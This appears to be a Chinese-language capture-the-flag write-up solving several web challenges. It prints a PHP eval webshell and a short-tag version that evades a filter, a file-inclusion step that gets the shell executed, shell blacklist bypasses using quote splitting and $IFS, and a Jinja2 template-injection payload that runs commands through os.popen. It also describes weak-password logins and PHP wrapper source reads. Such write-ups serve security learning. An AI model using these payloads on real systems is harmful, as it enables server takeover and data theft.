easy_file
登录界面
尝试admin 和密码1
没成功
结果尝试了弱口令 admin 用户和 password 密码就登录成功了
文件上传
新建一个空的 新建木马.txt 文件发现上传成功
然后写入一句话木马
<?php @eval($_POST['a']); ?>
上传失败
说明可能是有字符被过滤了,猜测是php标签,然后给它换成短标签
<?=@eval($_POST['a']);?>
发现上传成功,把文件名改一下吧,方便后面访问
结果抓包改后缀上传发现php后缀被过滤
尝试了各种后缀都上传失败,返回看有没有提示的时候突然反应过来题目名是 file,所以尝试一下任意文件读取
思路就是利用 file 读取上传的 xjmuma.txt 文件,然后文件就被解析咯,就可以get shell 了
那就 file=上传的文件(猜测在当前目录下的 uploads/xjmuma.txt 目录)
发现可以查看 php 配置信息,说明木马文件被解析了
但是这样有一个问题,蚁剑是连不上包含的地址的
所以还是只能用system系统执行命令
system('cat f*');
然后一cat就出flag了
test_your_nc
下载附件后是一个无后缀的 pwn 文件
直接用浏览器打开
一个简单的Python脚本,发现代码直接让输入命令,但是有黑名单进行限制(如果包含这些字符串就直接执行 exit(0)退出)
如果通过黑名单检查就执行 os.system(command)
结合题目用 kali nc 连接一下
然后就是用 l's' 替换 ls
c'at' 替换 cat
$IFS$9 替换空格即可 cat flag
nest_js
又是一个登录界面
也不知道是环境出问题了还是怎么,直接同样用弱口令 admin 用户和 password 密码就登录得到flag了
而且flag是对的
星愿信箱
看题目是SSTI模版注入
先随便注一个{{7*7}}
发现过滤了 {{
抓包后发现是Python模版
而 {{}} 被过滤了,说明应该是jinja2模版
所以可以直接试着构造payload
{{}}被过滤了就用 {% %} 代替
直接用 Flag 框架中的 url_for 函数生成URL,用于访问。__globals__ 返回该对象的全局变量字典
.os 提供与操作系统交互功能
后面就是popen()函数执行命令了
{% print(url_for.__globals__.os.popen('tac /flag').read()) %}
发现 cat 被过滤了
换为 tac
url_for函数可以替换为 lipsum 函数(是模板中定义的一个变量或函数,我也是看wp得知的,还没找到得到该模版的方法)
tac 命令也可以用 nl 搞定 (表示显示 /flag 的内容,并在每行前加上行号(如题为1行))
easy_signin
进来就403,刚开始我还以为环境坏了
用 dirsearch 扫一下看看
发现两个绿的
分别访问一下
第一个 login.html 是一个登录界面
给了用户名在尝试弱口令 password 时提示的是账号错误
但发现用户名是改不了的
先尝试下一个 login.php
一段看不懂的字符,应该是url编码,解码一下
但是找了个在线网站没解出来
只好扔进随波逐流 貌似发现像原字符串
不知道有啥用,访问api
好像是ssrf漏洞,还记得题目知识点涉及到PHP伪协议
那就用伪协议查看一下源码
发现不全,加两个 /
这么多目录也不知道在哪个下面,但学过web网页开发都知道,一般网页根目录都在 /var/www 或者 /var/www/html 目录下,直接读取
查看源代码
然后有一个 ,,,,,,.php 文件,直接访问居然得到了flag